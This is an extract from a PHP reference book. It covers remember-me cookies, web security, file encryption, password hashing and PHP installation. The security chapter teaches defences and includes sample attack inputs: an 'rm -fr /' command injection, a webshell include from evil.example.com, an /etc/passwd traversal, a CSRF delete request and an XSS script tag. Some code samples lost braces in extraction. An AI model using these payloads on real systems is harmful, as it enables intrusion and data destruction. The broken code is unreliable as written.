$pool->submit(new \AwesomeWork("DeadlyWork"));

$pool->submit(new \AwesomeWork("FatalWork"));

// We need to explicitly shutdown the pool, otherwise,

// unexpected things may happen.

// See: http://stackoverflow.com/a/23600861/23602185

$pool->shutdown();

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Chapter 100: Secure Remeber Me

I have been searching on this topic for sometime till i found this post

https://stackoverflow.com/a/17266448/4535386 from ircmaxell, I think it deserves more exposure.

Section 100.1: “Keep Me Logged In” - the best approach

store the cookie with three parts.

function onLogin($user) {

$token = GenerateRandomToken(); // generate a token, should be 128 - 256 bit

storeTokenForUser($user, $token);

$cookie = $user . ':' . $token;

$mac = hash_hmac('sha256', $cookie, SECRET_KEY);

$cookie .= ':' . $mac;

setcookie('rememberme', $cookie);

Then, to validate:

function rememberMe() {

$cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : '';

if ($cookie) {

list ($user, $token, $mac) = explode(':', $cookie);

if (!hash_equals(hash_hmac('sha256', $user . ':' . $token, SECRET_KEY), $mac)) {

return false;

$usertoken = fetchTokenByUserName($user);

if (hash_equals($usertoken, $token)) {

logUserIn($user);

}
}

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Chapter 101: Security

As the majority of websites run off PHP, application security is an important topic for PHP developers
to protect

their website, data, and clients. This topic covers best security practices in PHP as well as common
vulnerabilities

and weaknesses with example fixes in PHP.

Section 101.1: PHP Version Leakage

By default, PHP will tell the world what version of PHP you are using, e.g.

X-Powered-By: PHP/5.3.8

To fix this you can either change php.ini:

expose_php = off

Or change the header:

header("X-Powered-By: Magic");

Or if you'd prefer a htaccess method:

Header unset X-Powered-By

If either of the above methods do not work, there is also the header_remove() function that provides
you the ability

to remove the header:

header_remove('X-Powered-By');

If attackers know that you are using PHP and the version of PHP that you are using, it's easier for them
to exploit

your server.

Section 101.2: Cross-Site Scripting (XSS)

Problem
Cross-site scripting is the unintended execution of remote code by a web client. Any web application
might expose

itself to XSS if it takes input from a user and outputs it directly on a web page. If input includes HTML
or JavaScript,

remote code can be executed when this content is rendered by the web client.

For example, if a 3rd party side contains a JavaScript file:

// http://example.com/runme.js

document.write("I'm running");

And a PHP application directly outputs a string passed into it:

<?php

echo '<div>' . $_GET['input'] . '</div>';

If an unchecked GET parameter contains <script src="http://example.com/runme.js"></script> then

the

output of the PHP script will be:

GoalKicker.com – PHP Notes for Professionals 438

<div><script src="http://example.com/runme.js"></script></div>

The 3rd party JavaScript will run and the user will see "I'm running" on the web page.

Solution

As a general rule, never trust input coming from a client. Every GET, POST, and cookie value could be
anything at all,

and should therefore be validated. When outputting any of these values, escape them so they will not
be evaluated

in an unexpected way.

Keep in mind that even in the simplest applications data can be moved around and it will be hard to
keep track of

all sources. Therefore it is a best practice to always escape output.

PHP provides a few ways to escape output depending on the context.

Filter Functions
PHPs Filter Functions allow the input data to the php script to be sanitized or validated in many ways.
They are

useful when saving or outputting client input.

HTML Encoding

htmlspecialchars will convert any "HTML special characters" into their HTML encodings, meaning they
will then not

be processed as standard HTML. To fix our previous example using this method:

<?php

echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';

// or

echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';

Would output:

<div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div>

Everything inside the <div> tag will not be interpreted as a JavaScript tag by the browser, but instead
as a simple

text node. The user will safely see:

<script src="http://example.com/runme.js"></script>

URL Encoding

When outputting a dynamically generated URL, PHP provides the urlencode function to safely output
valid URLs.

So, for example, if a user is able to input data that becomes part of another GET parameter:

<?php

$input = urlencode($_GET['input']);

// or

$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);

echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';

Any malicious input will be converted to an encoded URL parameter.

Using specialised external libraries or OWASP AntiSamy lists

Sometimes you will want to send HTML or other kind of code inputs. You will need to maintain a list of
authorised

words (white list) and un-authorized (blacklist).

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You can download standard lists available at the OWASP AntiSamy website. Each list is fit for a specific
kind of

interaction (ebay api, tinyMCE, etc...). And it is open source.

There are libraries existing to filter HTML and prevent XSS attacks for the general case and performing
at least as

well as AntiSamy lists with very easy use. For example you have HTML Purifier

Section 101.3: Cross-Site Request Forgery

Problem

Cross-Site Request Forgery or CSRF can force an end user to unknowingly generate malicious requests
to a web

server. This attack vector can be exploited in both POST and GET requests. Let's say for example the url
endpoint

/delete.php?accnt=12 deletes account as passed from accnt parameter of a GET request. Now if an
authenticated

user will encounter the following script in any other application

<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">

the account would be deleted.

Solution

A common solution to this problem is the use of CSRF tokens. CSRF tokens are embedded into
requests so that a

web application can trust that a request came from an expected source as part of the application's
normal

workflow. First the user performs some action, such as viewing a form, that triggers the creation of a
unique token.
A sample form implementing this might look like

<form method="get" action="/delete.php">

<input type="text" name="accnt" placeholder="accnt number" />

<input type="hidden" name="csrf_token" value="<randomToken>" />

<input type="submit" />

</form>

The token can then be validated by the server against the user session after form submission to
eliminate malicious

requests.

Sample code

Here is sample code for a basic implementation:

/* Code to generate a CSRF token and store the same */

...

<?php

session_start();

function generate_token() {

// Check if a token is present for the current session

if(!isset($_SESSION["csrf_token"])) {

// No token present, generate a new one

$token = random_bytes(64);

$_SESSION["csrf_token"] = $token;

} else {

// Reuse the token

$token = $_SESSION["csrf_token"];

return $token;
}

?>

<body>

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<form method="get" action="/delete.php">

<input type="text" name="accnt" placeholder="accnt number" />

<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />

<input type="submit" />

</form>

</body>

...

/* Code to validate token and drop malicious requests */

...

<?php

session_start();

if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {

// Reset token

unset($_SESSION["csrf_token"]);

die("CSRF token validation failed");

?>

...

There are many libraries and frameworks already available which have their own implementation of
CSRF

validation. Though this is the simple implementation of CSRF, You need to write some code to
regenerate your
CSRF token dynamically to prevent from CSRF token stealing and fixation.

Section 101.4: Command Line Injection

Problem

In a similar way that SQL injection allows an attacker to execute arbitrary queries on a database,
command-line

injection allows someone to run untrusted system commands on a web server. With an improperly
secured server

this would give an attacker complete control over a system.

Let's say, for example, a script allows a user to list directory contents on a web server.

<pre>

<?php system('ls ' . $_GET['path']); ?>

</pre>

(In a real-world application one would use PHP's built-in functions or objects to get path contents. This
example is for a

simple security demonstration.)

One would hope to get a path parameter similar to /tmp. But as any input is allowed, path could be ;
rm -fr /.

The web server would then execute the command

ls; rm -fr /

and attempt to delete all files from the root of the server.

Solution

All command arguments must be escaped using escapeshellarg() or escapeshellcmd(). This makes the

arguments non-executable. For each parameter, the input value should also be validated.

In the simplest case, we can secure our example with

<pre>

GoalKicker.com – PHP Notes for Professionals 441

<?php system('ls ' . escapeshellarg($_GET['path'])); ?>

</pre>

Following the previous example with the attempt to remove files, the executed command becomes

ls '; rm -fr /'

And the string is simply passed as a parameter to ls, rather than terminating the ls command and
running rm.

It should be noted that the example above is now secure from command injection, but not from
directory traversal.

To fix this, it should be checked that the normalized path starts with the desired sub-directory.

PHP offers a variety of functions to execute system commands, including exec, passthru, proc_open,
shell_exec,

and system. All must have their inputs carefully validated and escaped.

Section 101.5: Stripping Tags

strip_tags is a very powerful function if you know how to use it. As a method to prevent cross-site
scripting attacks

there are better methods, such as character encoding, but stripping tags is useful in some cases.

Basic Example

$string = '<b>Hello,<> please remove the <> tags.</b>';

echo strip_tags($string);

Raw Output

Hello, please remove the tags.

Allowing Tags

Say you wanted to allow a certain tag but no other tags, then you'd specify that in the second
parameter of the

function. This parameter is optional. In my case I only want the <b> tag to be passed through.

$string = '<b>Hello,<> please remove the <br> tags.</b>';

echo strip_tags($string, '<b>');

Raw Output
<b>Hello, please remove the tags.</b>

Notice(s)

HTML comments and PHP tags are also stripped. This is hardcoded and can not be changed with
allowable_tags.

In PHP 5.3.4 and later, self-closing XHTML tags are ignored and only non-self-closing tags should be
used in

allowable_tags. For example, to allow both <br> and <br/>, you should use:

<?php

strip_tags($input, '<br>');

?>

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Section 101.6: File Inclusion

Remote File Inclusion

Remote File Inclusion (also known as RFI) is a type of vulnerability that allows an attacker to include a
remote file.

This example injects a remotely hosted file containing a malicious code:

<?php

include $_GET['page'];

/vulnerable.php?page=http://evil.example.com/webshell.txt?

Local File Inclusion

Local File Inclusion (also known as LFI) is the process of including files on a server through the web
browser.

<?php

$page = 'pages/'.$_GET['page'];

if(isset($page)) {

include $page;

} else {
include 'index.php';

/vulnerable.php?page=../../../../etc/passwd

Solution to RFI & LFI:

It is recommended to only allow including files you approved, and limit to those only.

<?php

$page = 'pages/'.$_GET['page'].'.php';

$allowed = ['pages/home.php','pages/error.php'];

if(in_array($page,$allowed)) {

include($page);

} else {

include('index.php');

Section 101.7: Error Reporting

By default PHP will output errors, warnings and notice messages directly on the page if something
unexpected in a

script occurs. This is useful for resolving specific issues with a script but at the same time it outputs
information you

don't want your users to know.

Therefore it's good practice to avoid displaying those messages which will reveal information about
your server, like

your directory tree for example, in production environments. In a development or testing environment
these

messages may still be useful to display for debugging purposes.

A quick solution

You can turn them off so the messages don't show at all, however this makes debugging your script
harder.
GoalKicker.com – PHP Notes for Professionals 443

<?php

ini_set("display_errors", "0");

?>

Or change them directly in the php.ini.

display_errors = 0

Handling errors

A better option would be to store those error messages to a place they are more useful, like a
database:

set_error_handler(function($errno , $errstr, $errfile, $errline){

try{

$pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [

PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION

]);

if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){

if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){

throw new Exception('Unable to execute query');

} else {

throw new Exception('Unable to prepare query');

} catch (Exception $e){

error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");

});

This method will log the messages to the database and if that fails to a file instead of echoing it
directly into the

page. This way you can track what users are experiencing on your website and notify you immediately
if something

go's wrong.

Section 101.8: Uploading files

If you want users to upload files to your server you need to do a couple of security checks before you
actually move

the uploaded file to your web directory.

The uploaded data:

This array contains user submitted data and is not information about the file itself. While usually this
data is

generated by the browser one can easily make a post request to the same form using software.

$_FILES['file']['name'];

$_FILES['file']['type'];

$_FILES['file']['size'];

$_FILES['file']['tmp_name'];

name - Verify every aspect of it.

type - Never use this data. It can be fetched by using PHP functions instead.

size - Safe to use.

tmp_name - Safe to use.

Exploiting the file name

Normally the operating system does not allow specific characters in a file name, but by spoofing the
request you

GoalKicker.com – PHP Notes for Professionals 444

can add them allowing for unexpected things to happen. For example, lets name the file:

../script.php%00.png

Take good look at that filename and you should notice a couple of things.
1. The first to notice is the ../, fully illegal in a file name and at the same time perfectly fine if you are
moving a

file from 1 directory to another, which we're gonna do right?

2. Now you might think you were verifying the file extensions properly in your script but this exploit
relies on

the url decoding, translating %00 to a null character, basically saying to the operating system, this
string ends

here, stripping off .png off the filename.

So now I've uploaded script.php to another directory, by-passing simple validations to file extensions.
It also bypasses .htaccess files disallowing scripts to be executed from within your upload directory.

Getting the file name and extension safely

You can use pathinfo() to extrapolate the name and extension in a safe manner but first we need to
replace

unwanted characters in the file name:

// This array contains a list of characters not allowed in a filename

$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?",

"*", " "]);

$filename = str_replace($illegal, "-", $_FILES['file']['name']);

$pathinfo = pathinfo($filename);

$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';

$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';

if(!empty($extension) && !empty($filename)){

echo $filename, $extension;

} else {

die('file is missing an extension or name');

While now we have a filename and extension that can be used for storing, I still prefer storing that
information in a
database and give that file a generated name of for example, md5(uniqid().microtime())

+----+--------+-----------+------------+------+----------------------------------+----------------

-----+

| id | title | extension | mime | size | filename | time

+----+--------+-----------+------------+------+----------------------------------+----------------

-----+

| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11

00:38:54 |

+----+--------+-----------+------------+------+----------------------------------+----------------

-----+

This would resolve the issue of duplicate file names and unforseen exploits in the file name. It would
also cause the

attacker to guess where that file has been stored as he or she cannot specifically target it for
execution.

Mime-type validation

GoalKicker.com – PHP Notes for Professionals 445

Checking a file extension to determine what file it is is not enough as a file may named image.png but
may very well

contain a php script. By checking the mime-type of the uploaded file against a file extension you can
verify if the file

contains what its name is referring to.

You can even go 1 step further for validating images, and that is actually opening them:

if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){

if($img = imagecreatefromjpeg($filename)){

imagedestroy($img);

} else {
die('image failed to open, could be corrupt or the file contains something else.');

You can fetch the mime-type using a build-in function or a class.

White listing your uploads

Most importantly, you should whitelist file extensions and mime types depending on each form.

function isFiletypeAllowed($extension, $mime, array $allowed)

return isset($allowed[$mime]) &&

is_array($allowed[$mime]) &&

in_array($extension, $allowed[$mime]);

$allowedFiletypes = [

'image/png' => [ 'png' ],

'image/gif' => [ 'gif' ],

'image/jpeg' => [ 'jpg', 'jpeg' ],

];

var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));

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Chapter 102: Cryptography

Section 102.1: Symmetric Encryption and Decryption of large

Files with OpenSSL

PHP lacks a build-in function to encrypt and decrypt large files. openssl_encrypt can be used to
encrypt strings, but

loading a huge file into memory is a bad idea.

So we have to write a userland function doing that. This example uses the symmetric AES-128-CBC
algorithm to

encrypt smaller chunks of a large file and writes them into another file.

Encrypt Files

/**

* Define the number of blocks that should be read from the source file for each chunk.

* For 'AES-128-CBC' each block consist of 16 bytes.

* So if we read 10,000 blocks we load 160kb into memory. You may adjust this value

* to read/write shorter or longer chunks.

*/

define('FILE_ENCRYPTION_BLOCKS', 10000);

/**

* Encrypt the passed file and saves the result in a new file with ".enc" as suffix.

* @param string $source Path to file that should be encrypted

* @param string $key The key used for the encryption

* @param string $dest File name where the encryped file should be written to.

* @return string|false Returns the file name that has been created or FALSE if an error occurred

*/

function encryptFile($source, $key, $dest)

$key = substr(sha1($key, true), 0, 16);

$iv = openssl_random_pseudo_bytes(16);

$error = false;

if ($fpOut = fopen($dest, 'w')) {

// Put the initialzation vector to the beginning of the file

fwrite($fpOut, $iv);

if ($fpIn = fopen($source, 'rb')) {

while (!feof($fpIn)) {

$plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS);

$ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,

$iv);

// Use the first 16 bytes of the ciphertext as the next initialization vector

$iv = substr($ciphertext, 0, 16);

fwrite($fpOut, $ciphertext);

fclose($fpIn);

} else {

$error = true;

fclose($fpOut);

} else {

$error = true;

return $error ? false : $dest;

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Decrypt Files

To decrypt files that have been encrypted with the above function you can use this function.

/**

* Dencrypt the passed file and saves the result in a new file, removing the
* last 4 characters from file name.

* @param string $source Path to file that should be decrypted

* @param string $key The key used for the decryption (must be the same as for encryption)

* @param string $dest File name where the decryped file should be written to.

* @return string|false Returns the file name that has been created or FALSE if an error occurred

*/

function decryptFile($source, $key, $dest)

$key = substr(sha1($key, true), 0, 16);

$error = false;

if ($fpOut = fopen($dest, 'w')) {

if ($fpIn = fopen($source, 'rb')) {

// Get the initialzation vector from the beginning of the file

$iv = fread($fpIn, 16);

while (!feof($fpIn)) {

$ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1)); // we have to read

one block more for decrypting than for encrypting

$plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,

$iv);

// Use the first 16 bytes of the ciphertext as the next initialization vector

$iv = substr($ciphertext, 0, 16);

fwrite($fpOut, $plaintext);

fclose($fpIn);
} else {

$error = true;

fclose($fpOut);

} else {

$error = true;

return $error ? false : $dest;

How to use

If you need a small snippet to see how this works or to test the above functions, look at the following
code.

$fileName = __DIR__.'/testfile.txt';

$key = 'my secret key';

file_put_contents($fileName, 'Hello World, here I am.');

encryptFile($fileName, $key, $fileName . '.enc');

decryptFile($fileName . '.enc', $key, $fileName . '.dec');

This will create three files:

1. testfile.txt with the plain text

2. testfile.txt.enc with the encrypted file

3. testfile.txt.dec with the decrypted file. This should have the same content as testfile.txt

GoalKicker.com – PHP Notes for Professionals 448

Section 102.2: Symmetric Cipher

This example illustrates the AES 256 symmetric cipher in CBC mode. An initialization vector is needed,
so we

generate one using an openssl function. The variable $strong is used to determine whether the IV
generated was
cryptographically strong.

Encryption

$method = "aes-256-cbc"; // cipher method

$iv_length = openssl_cipher_iv_length($method); // obtain required IV length

$strong = false; // set to false for next line

$iv = openssl_random_pseudo_bytes($iv_length, $strong); // generate initialization vector

/* NOTE: The IV needs to be retrieved later, so store it in a database.

However, do not reuse the same IV to encrypt the data again. */

if(!$strong) { // throw exception if the IV is not cryptographically strong

throw new Exception("IV not cryptographically strong!");

$data = "This is a message to be secured."; // Our secret message

$pass = "Stack0verfl0w"; // Our password

/* NOTE: Password should be submitted through POST over an HTTPS session.

Here, it's being stored in a variable for demonstration purposes. */

$enc_data = openssl_encrypt($data, $method, $password, true, $iv); // Encrypt

Decryption

/* Retrieve the IV from the database and the password from a POST request */

$dec_data = openssl_decrypt($enc_data, $method, $pass, true, $iv); // Decrypt

Base64 Encode & Decode

If the encrypted data needs to be sent or stored in printable text, then the base64_encode() and
base64_decode()

functions should be used respectively.

/* Base64 Encoded Encryption */

$enc_data = base64_encode(openssl_encrypt($data, $method, $password, true, $iv));

/* Decode and Decrypt */

$dec_data = openssl_decrypt(base64_decode($enc_data), $method, $password, true, $iv);

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Chapter 103: Password Hashing Functions

As more secure web services avoid storing passwords in plain text format, languages such as PHP
provide various

(undecryptable) hash functions to support the more secure industry standard. This topic provides
documentation

for proper hashing with PHP.

Section 103.1: Creating a password hash

Create password hashes using password_hash() to use the current industry best-practice standard
hash or key

derivation. At time of writing, the standard is bcrypt, which means, that PASSWORD_DEFAULT contains
the same value

as PASSWORD_BCRYPT.

$options = [

'cost' => 12,

];

$hashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT, $options);

The third parameter is not mandatory.

The 'cost' value should be chosen based on your production server's hardware. Increasing it will make
the

password more costly to generate. The costlier it is to generate the longer it will take anyone trying to
crack it to

generate it also. The cost should ideally be as high as possible, but in practice it should be set so it
does not slow

down everything too much. Somewhere between 0.1 and 0.4 seconds would be okay. Use the default
value if you

are in doubt.

Version < 5.5

On PHP lower than 5.5.0 the password_* functions are not available. You should use the compatibility
pack to

substitute those functions. Notice the compatibility pack requires PHP 5.3.7 or higher or a version that
has the $2y

fix backported into it (such as RedHat provides).

If you are not able to use those, you can implement password hashing with crypt() As
password_hash() is

implemented as a wrapper around the crypt() function, you need not lose any functionality.

// this is a simple implementation of a bcrypt hash otherwise compatible

// with `password_hash()`

// not guaranteed to maintain the same cryptographic strength of the full `password_hash()`

// implementation

// if `CRYPT_BLOWFISH` is 1, that means bcrypt (which uses blowfish) is available

// on your system

if (CRYPT_BLOWFISH == 1) {

$salt = mcrypt_create_iv(16, MCRYPT_DEV_URANDOM);

$salt = base64_encode($salt);

// crypt uses a modified base64 variant

$source = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

$dest = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

$salt = strtr(rtrim($salt, '='), $source, $dest);

$salt = substr($salt, 0, 22);

// `crypt()` determines which hashing algorithm to use by the form of the salt string

// that is passed in

$hashedPassword = crypt($plaintextPassword, '$2y$10$'.$salt.'$');

Salt for password hash

GoalKicker.com – PHP Notes for Professionals 450

Despite of reliability of crypt algorithm there is still vulnerability against rainbow tables. That's the
reason, why it's

recommended to use salt.

A salt is something that is appended to the password before hashing to make source string unique.
Given two

identical passwords, the resulting hashes will be also unique, because their salts are unique.

A random salt is one of the most important pieces of your password security. This means that even
with a lookup

table of known password hashes an attacker can’t match up your user’s password hash with the
database

password hashes since a random salt has been used. You should use always random and
cryptographically secure

salts. Read more

With password_hash() bcrypt algorithm, plain text salt is stored along with the resulting hash, which
means that

the hash can be transferred across different systems and platforms and still be matched against the
original

password.

Version < 7.0

Even when this is discouraged, you can use the salt option to define your own random salt.

$options = [

'salt' => $salt, //see example below

];

Important. If you omit this option, a random salt will be generated by password_hash() for each
password hashed.

This is the intended mode of operation.

Version ≥ 7.0

The salt option has been deprecated as of PHP 7.0.0. It is now preferred to simply use the salt that is
generated by

default.

Section 103.2: Determine if an existing password hash can be

upgraded to a stronger algorithm

If you are using the PASSWORD_DEFAULT method to let the system choose the best algorithm to hash
your passwords

with, as the default increases in strength you may wish to rehash old passwords as users log in

<?php

// first determine if a supplied password is valid

if (password_verify($plaintextPassword, $hashedPassword)) {

// now determine if the existing hash was created with an algorithm that is

// no longer the default

if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) {

// create a new hash with the new default

$newHashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT);

// and then save it to your data store

//$db->update(...);

?>

If the password_* functions are not available on your system (and you cannot use the compatibility
pack linked in

the remarks below), you can determine the algorithm and used to create the original hash in a method
similar to

GoalKicker.com – PHP Notes for Professionals 451

the following:

<?php
if (substr($hashedPassword, 0, 4) == '$2y$' && strlen($hashedPassword) == 60) {

echo 'Algorithm is Bcrypt';

// the "cost" determines how strong this version of Bcrypt is

preg_match('/\$2y\$(\d+)\$/', $hashedPassword, $matches);

$cost = $matches[1];

echo 'Bcrypt cost is '.$cost;

?>

Section 103.3: Verifying a password against a hash

password_verify() is the built-in function provided (as of PHP 5.5) to verify the validity of a password
against a

known hash.

<?php

if (password_verify($plaintextPassword, $hashedPassword)) {

echo 'Valid Password';

else {

echo 'Invalid Password.';

?>

All supported hashing algorithms store information identifying which hash was used in the hash itself,
so there is

no need to indicate which algorithm you are using to encode the plaintext password with.

If the password_* functions are not available on your system (and you cannot use the compatibility
pack linked in

the remarks below) you can implement password verification with the crypt() function. Please note
that specific
precautions must be taken to avoid timing attacks.

<?php

// not guaranteed to maintain the same cryptographic strength of the full `password_hash()`

// implementation

if (CRYPT_BLOWFISH == 1) {

// `crypt()` discards all characters beyond the salt length, so we can pass in

// the full hashed password

$hashedCheck = crypt($plaintextPassword, $hashedPassword);

// this a basic constant-time comparison based on the full implementation used

// in `password_hash()`

$status = 0;

for ($i=0; $i<strlen($hashedCheck); $i++) {

$status |= (ord($hashedCheck[$i]) ^ ord($hashedPassword[$i]));

if ($status === 0) {

echo 'Valid Password';

else {

echo 'Invalid Password';

?>

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Chapter 104: Contributing to the PHP

Manual
The PHP Manual provides both a functional reference and a language reference along with
explanations of PHP's

major features. The PHP Manual, unlike most languages' documentation, encourages PHP developers
to add their

own examples and notes to each page of the documentation. This topic explains contribution to the
PHP manual,

along with tips, tricks, and guidelines for best practice.

Section 104.1: Improve the ocial documentation

PHP has great official documentation already at http://php.net/manual/. The PHP Manual documents
pretty much

all language features, the core libraries and most available extensions. There are plenty of examples to
learn from.

The PHP Manual is available in multiple languages and formats.

Best of all, the documentation is free for anyone to edit.

The PHP Documentation Team provides an online editor for the PHP Manual at https://edit.php.net. It
supports

multiple Single-Sign-On services, including logging in with your Stack Overflow account. You can find
an

introduction to the editor at https://wiki.php.net/doc/editor.

Changes to the PHP Manual need to be approved by people from the PHP Documentation Team having
Doc Karma.

Doc Karma is somewhat like reputation, but harder to get. This peer review process makes sure only
factually

correct information gets into the PHP Manual.

The PHP Manual is written in DocBook, which is an easy to learn markup language for authoring
books. It might

look a little bit complicated at first sight, but there are templates to get you started. You certainly don't
need to be a

DocBook expert to contribute.

Section 104.2: Tips for contributing to the manual

The following is a list of tips for those who are looking to contribute to the PHP manual:

Follow the manual's style guidelines. Ensure that the manual's style guidelines are always being
followed

for consistency's sake.

Perform spelling and grammar checks. Ensure proper spelling and grammar is being used - otherwise
the

information presented may be more difficult to assimilate, and the content will look less professional.

Be terse in explanations. Avoid rambling to clearly and concisely present the information to
developers

who are looking to quickly reference it.

Separate code from its output. This gives cleaner and less convoluted code examples for developers to

digest.

Check the page section order. Ensure that all sections of the manual page being edited are in the
correct

order. Uniformity in the manual makes it easier to quickly read and lookup information.

Remove PHP 4-related content. Specific mentions to PHP 4 are no longer relevant given how old it is
now.

Mentions of it should be removed from the manual to prevent convoluting it with unnecessary
information.

Properly version files. When creating new files in the documentation, ensure that the revision ID of
the file

is set to nothing, like so: <!-- $Revision$ -->.

Merge useful comments into the manual. Some comments contribute useful information that the
manual

could benefit from having. These should be merged into the main page's content.

Don't break the documentation build. Always ensure that the PHP manual builds properly before

committing the changes.

GoalKicker.com – PHP Notes for Professionals 453

Chapter 105: Contributing to the PHP Core

Section 105.1: Setting up a basic development environment

PHP's source code is hosted on GitHub. To build from source you will first need to check out a working
copy of the

code.

mkdir /usr/local/src/php-7.0/

cd /usr/local/src/php-7.0/

git clone -b PHP-7.0 https://github.com/php/php-src .

If you want to add a feature, it's best to create your own branch.

git checkout -b my_private_branch

Finally, configure and build PHP

./buildconf

./configure

make

make test

make install

If configuration fails due to missing dependencies, you will need to use your operating system's
package

management system to install them (e.g. yum, apt, etc.) or download and compile them from source.

GoalKicker.com – PHP Notes for Professionals 454

Appendix A: Installing a PHP environment

on Windows

Section A.1: Download, Install and use WAMP

WampServer is a Windows web development environment. It allows you to create web applications
with Apache2,

PHP and a MySQL database. Alongside, PhpMyAdmin allows you to manage easily your databases.

WampServer is available for free (under GPML license) in two distinct versions : 32 and 64 bits.
Wampserver 2.5 is
not compatible with Windows XP, neither with SP3, nor Windows Server 2003. Older WampServer
versions are

available on SourceForge.

WampServer versions:

WampServer (64 BITS) 3

WampServer (32 BITS) 3

Providing currently:

Apache: 2.4.18

MySQL: 5.7.11

PHP: 5.6.19 & 7.0.4

Installation is simple, just execute the installer, choose the location and finish it.

Once that is done, you may start WampServer. Then it starts in the system tray (taskbar), initially red
in color and

then turns green once the server is up.

You may goto a browser and type localhost or 127.0.0.1 to get the index page of WAMP. You may work
on PHP

locally from now by storing the files in <PATH_TO_WAMP>/www/<php_or_html_file> and check the
result on

http://localhost/<php_or_html_file_name>

Section A.2: Install PHP and use it with IIS

First of all you need to have IIS (Internet Information Services) installed and running on your machine;
IIS isn't

available by default, you have to add the characteristic from Control Panel -> Programs -> Windows
Characteristics.

1. Download the PHP version you like from http://windows.php.net/download/ and make sure you
download

the Non-Thread Safe (NTS) versions of PHP.

2. Extract the files into C:\PHP\.

3. Open the Internet Information Services Administrator IIS.

4. Select the root item in the left panel.

5. Double click on Handler Mappings.

6. On the right side panel click on Add Module Mapping.

7. Setup the values like this:

Request Path: *.php

Module: FastCgiModule

Executable: C:\PHP\php-cgi.exe

Name: PHP_FastCGI

Request Restrictions: Folder or File, All Verbs, Access: Script

8. Install vcredist_x64.exe or vcredist_x86.exe (Visual C++ 2012 Redistributable) from

GoalKicker.com – PHP Notes for Professionals 455

https://www.microsoft.com/en-US/download/details.aspx?id=30679

9. Setup your C:\PHP\php.ini, especially set the extension_dir ="C:\PHP\ext".

10. Reset IIS: In a DOS command console type IISRESET.

Optionally you can install the PHP Manager for IIS which is of great help to setup the ini file and track
the log of

errors (doesn't work on Windows 10).

Remember to set index.php as one of the default documents for IIS.

If you followed the installation guide now you are ready to test PHP.

Just like Linux, IIS has a directory structure on the server, the root of this tree is C:\inetpub\wwwroot\,
here is the

point of entry for all your public files and PHP scripts.

Now use your favorite editor, or just Windows Notepad, and type the following:

<?php

header('Content-Type: text/html; charset=UTF-8');

echo '<html><head><title>Hello World</title></head><body>Hello world!</body></html>';

Save the file under C:\inetpub\wwwroot\index.php using the UTF-8 format (without BOM).

Then open your brand new website using your browser on this address: http://localhost/index.php

Section A.3: Download and Install XAMPP

What is XAMPP?

XAMPP is the most popular PHP development environment. XAMPP is a completely free, open-source
and easy to

install Apache distribution containing MariaDB, PHP, and Perl.

Where should I download it from?

Download appropriate stable XAMPP version from their download page. Choose the download based
on the type of

OS (32 or 64bit and OS version) and the PHP version it has to support.

Current latest being XAMPP for Windows 7.0.8 / PHP 7.0.8.

Or you can follow this:

XAMPP for Windows exists in three different flavors:

Installer (Probably .exe format the easiest way to install XAMPP)

ZIP (For purists: XAMPP as ordinary ZIP .zip format archive)

7zip: (For purists with low bandwidth: XAMPP as 7zip .7zip format archive)

How to install and where should I place my PHP/html files?

Install with the provided installer

1. Execute the XAMPP server installer by double clicking the downloaded .exe.

Install from the ZIP

1. Unzip the zip archives into the folder of your choice.

2. XAMPP is extracting to the subdirectory C:\xampp below the selected target directory.

GoalKicker.com – PHP Notes for Professionals 456

3. Now start the file setup_xampp.bat, to adjust the XAMPP configuration to your system.
Note: If you choose a root directory C:\ as target, you must not start setup_xampp.bat.

Post-Install

Use the "XAMPP Control Panel" for additional tasks, like starting/stopping Apache, MySQL, FileZilla
and Mercury or

installing these as services.

File handling

The installation is a straight forward process and once the installation is complete you may add
html/php files to be

hosted on the server in XAMPP-root/htdocs/. Then start the server and open http://localhost/file.php
on a

browser to view the page.

Note: Default XAMPP root in Windows is C:/xampp/htdocs/

Type in one of the following URLs in your favourite web browser:

http://localhost/

http://127.0.0.1/

Now you should see the XAMPP start page.

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GoalKicker.com – PHP Notes for Professionals 458

Appendix B: Installing on Linux/Unix

Environments

Section B.1: Command Line Install Using APT for PHP 7

This will only install PHP. If you wish to serve a PHP file to the web you will also need to install a
webserver such as Apache, Nginx, or use PHP's built in web-server (php version 5.4+).

If you are in a Ubuntu version below 16.04 and want to use PHP 7 anyway, you can add Ondrej's PPA

repository by doing: sudo add-apt-repository ppa:ondrej/php

Make sure that all of your repositories are up to date:

sudo apt-get update

After updating your system's repositories, install PHP:

